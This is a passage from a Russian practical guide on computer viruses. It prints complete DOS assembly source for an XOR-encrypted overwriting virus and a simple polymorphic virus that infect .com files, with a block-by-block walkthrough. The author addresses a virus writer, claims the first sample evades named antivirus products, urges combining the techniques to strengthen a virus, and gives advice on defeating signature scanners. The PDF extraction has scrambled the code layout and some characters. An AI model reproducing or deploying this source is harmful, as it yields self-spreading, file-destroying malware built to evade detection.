Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfDOS вирусы |
|
91 |
|
|
|
|
|
healthy: |
|
|
|
|
mov |
ax,3d02h |
; Откроем файл |
|
mov |
dx,09eh |
|
|
int |
21h |
|
|
mov |
handle,ax |
; Сохраним хэндл файла в переменную |
|
call |
infect_file |
; Заразим файл |
|
call |
close_file |
; Закроем его |
|
jmp |
short continue_search |
; Перейдем к следующей жертве |
|
ret |
|
|
close_file: |
|
|
|
|
mov |
bx,handle |
; Восстановим хэндл файла |
|
mov |
ah,3eh |
; Затем закроем файл |
|
int |
21h |
|
exit_virus: |
|
|
|
|
ret |
|
; Конец программы |
;---------------------------------------------- |
|
|
|
|
fmask db '*.com',0 |
; Переменные |
|
|
handle dw ? |
; |
|
code |
ends |
|
|
end |
main |
|
|
;---------------------------------------------- |
|
|
|
Рассмотрим данный вирус более подробно. Это необходимо, для того чтобы нормально разобраться с технологией динамического шифрования.
Взглянем на первый блок данного вируса:
;---------------------------------------------- |
|
|
|
main: |
|
|
; Начало вирусной программы |
call |
encrypt_decrypt |
; Расшифруем вирусный код |
|
jmp |
random_mutation |
; Перейдем на метку мутации |
|
encrypt_val |
db |
00h |
; Переменная [шифрующий/расшифрующий ключ] |
virus_size |
equ |
109 |
; переменная [длина вируса] |
;---------------------------------------------- |
|
|
|
Здесь вначале вызывается процедура шифрования/расшифрования, затем переход на расшифрованный только что этой процедурой участок кода. Переменная encrypt_val содержит ключ для процедуры шифрования, при первом запуске он равен нулю, так как изначально вирус не зашифрован и преобразование XOR byte1,0 не изменит значения byte1. В virus_size хранится размер вируса.
Второй блок:
;---------------------------------------------- |
|
|
infect_file: |
|
|
mov |
bx,handle |
; Возьмем хэндл файла |
push |
bx |
; Положим его в стек |
call |
encrypt_decrypt |
; Зашифруем большую часть вирусного кода |
pop |
bx |
; Восстановим хэндл |
mov |
cx,virus_size |
; Количество байт для записи |
mov |
dx,100h |
; Откуда начинать переписывать |
mov |
ah,40h |
; DOS-функция записи в файл |
int |
3h |
; Антиэвристика |
int |
21h |
; |
92 |
|
DOS вирусы |
|
|
|
call |
encrypt_decrypt |
; Зашифруем код (таким, каким он был) |
ret |
|
; Вернемся туда, откуда наc вызвали |
;---------------------------------------------- |
|
|
Эта процедура инфицирования, как и первый блок, не шифруется, так как она необходима для инфицирования найденного файла. В начале в bx помещается хэндл найденного и открытого для чтения/записи файла. Затем bx сохраняется в стеке, так как в процедуре шифрования bx изменяется. После этого вызывается процедура шифрования, которая шифрует большую часть вируса, а после нее восстанавливается bx. И в файл-жертву переписывается уже зашифрованная версия вируса. Потом вирус расшифровывается, и управление возвращается в то место, откуда эта процедура была вызвана.
Третий блок:
;---------------------------------------------- |
|
|
encrypt_decrypt: |
|
|
lea |
bx,virus_code |
; С какого места шифруем вирус |
xor_loop: |
|
; Начало шифрования здесь |
mov |
ah,[bx] |
; Берем текущий байт |
xor |
ah,encrypt_val |
; Преобразуем его операцией XOR по ключу |
mov |
[bx],ah |
; И кладем шифрованный/расшифрованный байт на место |
inc |
bx |
; Переходим к следующему байту |
cmp |
bx,offset virus_code+virus_size; Мы достигли конца файла? |
|
jle |
xor_loop |
; Если нет, то шифруем дальше |
ret |
|
; Если да, то вернемся туда, откуда нас вызывали |
;---------------------------------------------- |
|
|
Это процедура шифрования. В первой инструкции этого блока в bx загружается начало шифруемого кода. Затем в ah загружается первый байт этого кода и преобразуется при помощи операции XOR. После этого уже зашифрованный операцией XOR байт помещается на старое место. Аналогичные действия производятся со всеми байтами, начиная с метки virus_code и заканчивая концом вирусной программы.
Переходим к четвертому блоку:
;----------------------------------------------
virus_code:
random_mutation: |
|
; |
mov |
ah,2ch |
; Возьмем по таймеру значение |
int |
21h |
|
mov |
encrypt_val,dl |
; Присвоим это случайное значение ключу |
find_com: |
|
|
xor |
cx,cx |
|
lea |
dx,fmask |
; Найдем файл по маске *.com |
mov |
ah,4eh |
; |
int |
21h |
|
jnc |
healthy |
|
continue_search: |
|
|
mov |
ah,4fh |
; Ищем следующий файл |
int |
21h |
; |
jc exit_virus |
; Если больше нет файлов, то идем на выход |
|
;---------------------------------------------- |
|
|
DOS вирусы |
93 |
|
|
В данном блоке используется функция 2ch (21 прерывания), которая помещает в dl случайное значение, и это случайное значение присваивается нашему ключу шифрования. Далее идет поиск файла. Если он найден, переход на метку healthy, если таковых файлов нет, то идет переход на завершение программы.
Последний пятый блок:
;---------------------------------------------- |
|
|
healthy: |
|
|
mov |
ax,3d02h |
; Откроем файл |
mov |
dx,09eh |
|
int |
21h |
|
mov |
handle,ax |
; Сохраним хэндл файла в переменную |
call |
infect_file |
; Заразим файл |
call |
close_file |
; Закроем его |
jmp |
short continue_search |
; Перейдем к следующей жертве |
close_file: |
|
|
mov |
bx,handle |
; Восстановим хэндл файла |
mov |
ah,3eh |
; Затем закроем файл |
int |
21h |
|
exit_virus: |
|
|
ret |
|
; Конец программы |
;---------------------------------------------- |
|
|
Здесь в начале блока открывается найденный файл на чтение/запись, хэндл файла помещается в переменную handle. Потом вызывается процедура инфицирования файла, следом за ней процедура закрытия инфицированного файла. Далее идет поиск следующей жертвы. Если таковой нет, то работа вируса завершается.
Данный вирус является наиболее очевидным применением технологии олигоморфизма11 на простейшем вирусе типа overwriter. Антивирусами, такими как AVP, dr.WEB, он не обнаруживается. Здесь был представлен наиболее тривиальный пример для наиболее полного понимания сути проблемы. Данную технологию можно и нужно применять вместе с остальными, это безмерно усилит потенциал вируса. Данная часть очень важна, так как на основе шифрующихся вирусов появились полиморфные. А понимание работы полиморфных вирусов невозможно в отрыве от шифрующих свой код.
Лечение данного вируса невозможно. Так как он безвозвратно портит программу, его необходимо удалять вместе с инфицированной программой. Но при идентификации небходимо цепляться только за декриптор, так как основное тело вируса мутирует.
5.6. Полиморфизм
Полиморфная технология основана на технологии шифрования и представляет собой тот же самый шифрованный вирус, но с тем лишь различием, что расшифровщик этого вируса не постоянный. Расшифровщик постоянно мутиру-
11 Автор использует редкоупотребляемый термин, обозначающий в данном контексте единство структуры вируса, но возможность сокрытия его под различными шифровыходами. —
Ïðèì. ðåä.
94 |
DOS вирусы |
|
|
ет, что позволяет обманывать сигнатурные сканеры. От мутации к мутации в вирусе в идеале не должно оставаться постоянных байт. Другими словами, каждый раз мутируя, вирус полностью изменяется. Если сравнить две его различ- ные мутации, то в идеале не должно быть никакого сходства.
Родоначальником данной технологии является вирмэйкер12 из Болгарии Dark Avenger.
Чем же полиморфная технология отличается от олигоморфной? А тем, что расшифровщик в полиморфной технологии постоянно мутирует. Простейший пример полиморфной технологии — это разбавление расшифровщика командами nop или другими мусорными командами типа xchg ax,ax; mov bx,bx... Но чаще всего в полиморфизм вкладывают смысл замены одних команд другими — идентичными по содержанию, но разными по форме. К примеру, рассмотрим следующие команды: mov ax,bx; xchg ax,bx. Эти две команды не аналогичны, но первую инструкцию можно спокойно заменить другой. В полиморфном вирусе такие мутации происходят от запуска к запуску инфицированной программы, что позволяет быть вирусу неуязвимым по отношению к сигнатурным сканерам.
Простейший пример полиморфизма будет заключаться в том, что между настоящими инструкциями расшифровщика помещаются мусорные инструкции, которые от инфицирования к инфицированию будут изменяться. Что это может дать? Посмотрим на примере следующие байты, по которым антивирус опознает вирус: BE 22 01 8B FE. Это две инструкции расшифровщика :
;---------------------------------------------- |
|
|
|
mov si,0122 |
; BE |
22 |
01 |
mov di,si |
; 8B |
FE |
|
;---------------------------------------------- |
|
|
|
Что сделают разработчики антивирусов, если между этими командами расположить команду пустышку nop? Они ее добавят к строке сигнатуры, и байты, по которым будет определяться вирус, будут выглядеть так:
;---------------------------------------------- |
|
|
|
|
mov si,0122 |
; BE |
22 |
01 |
|
nop |
; |
90 |
|
|
mov di,si |
; |
8B |
FE |
|
;---------------------------------------------- |
|
|
|
|
И уже по этой строке будет идентифицироваться ваш вирус. Это будет выглядеть примерно следующим образом. При проверке открывается подозрительный файл, из него читаются первые 6 байтов. Если они совпадают с BE 22 01 90 8B FE, то файл считается инфицированным.
Мутациями после каждого инфицирования будет изменяться мусорная команда, и тогда антивирус не обнаружит полного совпадения. Это позволяет надеяться на то, что он не назовет его вирусом. Но этот простейший пример полиморфизма срабатывает только на слабых сигнатурных сканерах.
Итак, перейдем к листингу.
12 От англ. virmaker — вирусописатель. — Ïðèì. ðåä.
DOS вирусы |
|
|
95 |
|
|
||||
;---------------------------------------------- |
||||
code |
segment |
|
|
; |
|
assume |
cs:code,ds:code |
; |
|
|
org |
100h |
; |
|
start: |
|
|
|
|
|
junk1 |
db |
90h |
; |
|
lea |
si,encrypted |
; Кладем в si начало шифрованной части кода |
|
|
junk2 |
db |
90h |
; |
|
mov |
di,si |
; В di тоже самое |
|
|
junk3 |
db |
90h |
; |
|
mov |
cx,finished-encrypted |
; В cx кладем количество байт для шифрования |
|
|
junk4 |
db |
90h |
; |
|
call |
encryption |
; Вызов процедуры шифрования/расшифрования |
|
|
junk5 |
db |
90h |
; |
|
jmp |
encrypted |
; Переход на начало шифрованного кода |
|
|
junk6 |
db |
90h |
|
encryption: |
|
|
; Процедура шифрования/расшифрования |
|
|
lodsb |
|
|
; Загружаем в al байт |
|
junk7 |
db |
90h |
; |
|
xor |
al,byte ptr [decrypt] |
; Преобразуем его операцией XOR |
|
|
junk8 |
db |
90h |
; |
|
stosb |
|
|
; И кладем байт на прежнее место |
|
junk9 |
db |
90h |
|
|
loop |
encryption |
; Повторять операции, пока все байты не зашифрованы |
|
|
junk10 |
db |
90h |
|
|
ret |
|
|
; Выход из процедуры |
|
decrypt db |
0 |
; Ключ шифрования |
|
;---------------------------------------------- |
||||
encrypted: |
|
|
; Начало шифрованной части кода |
|
|
call |
musor |
; Вызов нашего генератора мусора |
|
|
mov |
ah,4eh |
; Поиск первого файла |
|
get: |
|
|
|
|
|
xor |
cx,cx |
; |
|
|
lea |
dx,comfile |
; |
|
|
int |
21h |
|
|
|
jc |
end_virus |
|
|
|
mov |
ax,3d02h |
; Открытие найденного файла на чтение/запись |
|
|
mov |
dx,9eh |
; |
|
|
int |
21h |
|
|
|
xchg |
bx,ax |
; |
|
|
in |
al,40h |
; Получаем случайное число в al |
|
|
mov |
byte ptr [decrypt],al |
; И это будет наш ключ шифрования |
|
|
lea |
si,encrypted |
; Кладем в si начало шифрованной части кода |
|
|
lea |
di,finished |
; Куда будем класть зашифрованный код |
|
|
mov |
cx,finished-encrypted |
; Количество байт для шифрования |
|
|
call |
encryption |
; Теперь вызываем процедуру шифрования |
|
|
mov |
ah,40h |
; Запишем в найденный файл |
|
|
mov |
cx,encrypted-start |
; Нешифрованную часть вируса |
|
|
lea |
dx,start |
; |
|
96 |
|
DOS вирусы |
|
|
|
int |
21h |
|
mov |
ah,40h |
; Теперь допишем зашифрованную часть программы |
mov |
cx,finished-encrypted |
; |
lea |
dx,finished |
; |
int |
21h |
|
mov |
ah,3eh |
; Закроем файл |
int |
21h |
|
mov |
ah,4fh |
; Ищем следующий |
jmp |
get |
; и заражаем его |
end_virus: |
|
|
ret |
|
; Конец программы |
;---------------------------------------------- |
||
musor: |
|
; Процедура генерации мусора |
lea si,start |
; Начиная с какого места мы генерируем мусор |
|
mov di,si |
; Сначала и мусор будет размещен там же |
|
mov cx,encrypted-start |
; Кол-во байт, в которых могут встретиться мусорные |
|
|
|
; команды |
call generator |
; Вызов генератора мусора |
|
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
||
generator: |
|
|
lodsb |
|
; Загружаем первый байт из нешифрованной части |
cmp al,90h |
; Проверяем, если это nop, то |
|
je preob |
|
; изменяем его на другую мусорную команду, выбранную |
|
|
; по случайному закону |
cmp al,0f8h |
; Проверяем, если это clc, то |
|
je preob |
|
; изменяем его на другую мусорную команду, выбранную |
|
|
; по случайному закону |
cmp al,0f9h |
; Проверяем если это stc, то |
|
je preob |
|
; изменяем его на другую мусорную команду, выбранную |
|
|
; по случайному закону |
cmp al,0fbh |
; Проверяем, если это sti, то |
|
je preob |
|
; изменяем его на другую мусорную команду, выбранную |
|
|
; по случайному закону |
cmp al,0fch |
; Проверяем, если это cld, то |
|
je preob |
|
; изменяем его на другую мусорную команду, выбранную |
|
|
; по случайному закону |
cmp al,0fah |
; Проверяем, если это cli, то |
|
je preob |
|
; изменяем его на другую мусорную команду, выбранную |
|
|
; по случайному закону |
jmp end_preob |
; Если мы попали сюда, то это не мусорный байт и его |
|
|
|
; трогать не нужно |
preob: |
|
|
call random2 |
; Процедура генерации случайной мусорной команды |
|
|
|
; Результат будет в al |
end_preob: |
|
|
stosb |
|
; Помещаем байт на прежнее место |
loop generator |
; Проверяем все байты из нешифрованной части |
|
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
DOS вирусы |
97 |
|
|
|
|
random2: |
|
; Процедура генерации случайной мусорной команды |
|
in ax,40h |
; В ax помещается случайное число |
|
and ax,5 |
; Эта команда ограничивает это число диапазоном 0-5 |
|
xchg ax,bx |
; Это случайное число помещается в bx |
|
add bx,offset garbage |
; Добавляется смещение на таблицу мусорных команд |
|
mov al,[bx] |
; И в al помещается случайная команда из garbage |
|
ret |
; Возврат из процедуры |
;---------------------------------------------- |
|
|
garbage: |
|
|
|
nop |
; |
|
clc |
; |
|
stc |
; Мусорные команды |
|
cmc |
; |
|
cld |
; |
|
sti |
; |
;---------------------------------------------- |
|
|
|
comfile db "*.c*",0 |
; Маска *.com файла |
finished: |
; |
|
code |
ends |
; |
end |
start |
; |
;----------------------------------------------
В этом вирусе использован способ шифрования, который уменьшает нешифрованную часть. Сам код шифруется, но его шифрованная версия помещается уже после конца вируса, что позволяет значительно уменьшить размер нешифрованной части приблизительно на треть.
Все байты, начинающиеся на junk, являются мусорными байтами, и они мутируют при вызове процедуры musor.
Теперь давайте рассмотрим этот вирус более подробно. Рассмотрим первый блок данного вируса:
;---------------------------------------------- |
|
|
|
start: |
|
|
|
junk1 |
db 90h |
; !!!! |
|
lea |
si,encrypted |
; Кладем в si начало шифрованной части кода |
|
junk2 |
db 90h |
; !!!! |
|
mov |
di,si |
; Â di |
то же самое |
junk3 |
db 90h |
; !!!! |
|
mov |
cx,finished-encrypted |
; Â cx |
кладем количество байт для шифрования |
junk4 |
db 90h |
; !!!! |
|
call |
encryption |
; Вызов процедуры шифрования/расшифрования |
|
junk5 |
db 90h |
; !!!! |
|
jmp |
encrypted |
; Переход на начало шифрованного кода |
|
junk6 |
db 90h |
; !!!! |
|
;---------------------------------------------- |
|
|
|
Все инструкции, отмеченные восклицательными знаками, — это мутирующие мусорные байты. В данном блоке мы определяем, с какого места нам расшифровать наш вирус и какое количество байт необходимо расшифровать. После этого мы вызываем процедуру расшифровки и после расшифровки передаем управление на расшифрованный код.
98 DOS вирусы
Перейдем ко второму блоку:
;---------------------------------------------- |
|
|
encryption: |
|
; Процедура шифрования/расшифрования |
lodsb |
|
; Загружаем в al байт |
junk7 |
db 90h |
; !!!! |
xor |
al,byte ptr [decrypt] ; Преобразуем его операцией XOR |
|
junk8 |
db 90h |
; !!!! |
stosb |
|
; И кладем байт на прежнее место |
junk9 |
db 90h |
; !!!! |
loop |
encryption |
; Повторять операции, пока все байты не зашифрованы |
junk10 |
db 90h |
; !!!! |
ret |
|
; Выход из процедуры |
decrypt db 0 |
; Ключ шифрования |
|
;---------------------------------------------- |
|
|
Это непосредственно сама процедура шифрования/расшифрования, как и в предыдущем блоке восклицательными знаками выделены мутирующие мусорные байты. В данном блоке используются инструкции lodsb и stosb. Инструкция lodsb загружает в регистр al байт с того места, куда указывает si, а инструкция stosb загружает байт из al в то место, на которое указывает di. Переменная decrypt — это ключ шифрования/расшифрования.
Третий блок:
;---------------------------------------------- |
|
|
encrypted: |
|
; Начало шифрованной части кода |
call |
musor |
; Вызов нашего генератора мусора |
mov |
ah,4eh |
; Поиск первого файла |
get: |
|
|
xor |
cx,cx |
; |
lea |
dx,comfile |
; |
int |
21h |
|
jc |
end_virus |
; Если файл не найден, то конец программы |
mov |
ax,3d02h |
; Открытие найденного файла на чтение/запись |
mov |
dx,9eh |
; |
int |
21h |
|
xchg |
bx,ax |
; |
;---------------------------------------------- |
|
|
В данном блоке вызывается генератор мусорных байт, затем идет поиск файла. Если файл найден, то он открывается в режиме чтение/запись.
Теперь четвертый блок:
;---------------------------------------------- |
|
|
in |
al,40h |
; Получаем случайное число в al |
mov |
byte ptr [decrypt],al |
; И это будет наш ключ шифрования |
lea |
si,encrypted |
; Кладем в si начало шифрованной части кода |
lea |
di,finished |
; Куда будем класть зашифрованный код |
mov |
cx,finished-encrypted |
; Количество байт для шифрования |
call |
encryption |
; Теперь вызываем процедуру шифрования |
;---------------------------------------------- |
|
|
DOS вирусы |
99 |
|
|
В данном блоке мы получаем случайное значение в al и сохраняем его в переменную decrypt. После этого в si мы кладем начало шифрованной части кода в di, туда, где зашифрованный код будет находиться перед его копированием в найденный файл. Он будет находиться после конца вируса. В cx будет количество байт для шифрования, и после вызывается процедура шифрования.
Пятый блок:
;---------------------------------------------- |
|
|
mov |
ah,40h |
; Запишем в найденный файл |
mov |
cx,encrypted-start |
; Нешифрованную часть вируса |
lea |
dx,start |
; |
int |
21h |
|
mov |
ah,40h |
; Теперь допишем зашифрованную часть программы |
mov |
cx,finished-encrypted |
; |
lea |
dx,finished |
; |
int |
21h |
|
mov |
ah,3eh |
; Закроем файл |
int |
21h |
|
mov |
ah,4fh |
; Ищем следующий |
jmp |
get |
; и заражаем его |
end_virus: |
|
|
ret |
|
; Конец программы |
;---------------------------------------------- |
|
|
Сначала в найденный файл копируется нешифрованная часть вируса, а затем с конца вируса копируется зашифрованная часть вируса. Затем файл закрывается и начинается поиск нового. Если такого нет, то работа вируса завершается.
Седьмой блок:
;---------------------------------------------- |
|
musor: |
; Процедура генерации мусора |
lea si,start |
; Начиная с какого места мы генерируем мусор |
mov di,si |
; Сначала мусор будет размещен там же |
mov cx,encrypted-start |
; Кол-во байт, в которых могут встретиться мусорные |
|
; команды |
call generator |
; Вызов генератора мусора |
ret |
; Возврат из процедуры |
;---------------------------------------------- |
|
generator: |
|
lodsb |
; Загружаем первый байт из нешифрованной части |
cmp al,90h |
; Проверяем, если это nop, то |
je preob |
; изменяем его на другую мусорную команду, выбранную |
|
; по случайному закону |
cmp al,0f8h |
; Проверяем, если это clc, то |
je preob |
; изменяем его на другую мусорную команду, выбранную |
|
; по случайному закону |
cmp al,0f9h |
; Проверяем, если это stc, то |
je preob |
; изменяем его на другую мусорную команду, выбранную |
|
; по случайному закону |
cmp al,0fbh |
; Проверяем, если это sti, то |
100 |
DOS вирусы |
|
|
je preob |
; изменяем его на другую мусорную команду, выбранную |
|
; по случайному закону |
cmp al,0fch |
; Проверяем, если это cld, то |
je preob |
; изменяем его на другую мусорную команду, выбранную |
|
; по случайному закону |
cmp al,0fah |
; Проверяем, если это cli, то |
je preob |
; изменяем его на другую мусорную команду, выбранную |
|
; по случайному закону |
jmp end_preob |
; Если мы попали сюда, то это не мусорный байт и его |
|
; трогать не нужно |
preob: |
|
call random2 |
; Процедура генерации случайной мусорной команды |
|
; Результат будет в al |
end_preob: |
|
stosb |
; Помещаем байт на прежнее место |
loop generator |
; Проверяем все байты из нешифрованной части |
ret |
; Возврат из процедуры |
;---------------------------------------------- |
|
Вначале загружаются индексные регистры si и di для указания на нешифрованную часть. Затем проверяется каждый байт из не шифрованной части на принадлежность к мусорному, если он мусорный, то вызываем процедуру random2, которая изменяет этот байт по случайному закону. После этого данный байт помещается на прежнее место.
Последний блок:
;---------------------------------------------- |
|
random2: |
; Процедура генерации случайной мусорной команды |
in ax,40h |
; В ax помещается случайное число |
and ax,5 |
; Эта команда ограничивает это число диапазоном 0-5 |
xchg ax,bx |
; Это случайное число помещается в bx |
add bx,offset garbage |
; Добавляется смещение на таблицу мусорных команд |
mov al,[bx] |
; И в al помещается случайная команда из garbage |
ret |
; Возврат из процедуры |
;---------------------------------------------- |
|
garbage: |
|
nop |
; |
clc |
; |
stc |
; Мусорные команды |
cmc |
; |
cld |
; |
sti |
; |
;---------------------------------------------- |
|
В данном блоке случайным образом выбирается команда из таблицы garbage и помещается в регистр al. Вот с простейшим полиморфным вирусом мы и разобрались.
Более-менее приличные сигнатурные сканеры быстро выявят этот вирус. Стоит лишь исправить сигнатуру на следующую: BE 22 01 ? 8B FE, и ваш вирус уже идентифицируется вне зависимости от вашего мутирующего байта. Что же делать? Можно, к примеру, сделать следующее: 90 BE 22 01 8B FE. То есть необходимо мусорные команды чередовать в произвольном порядке с командами
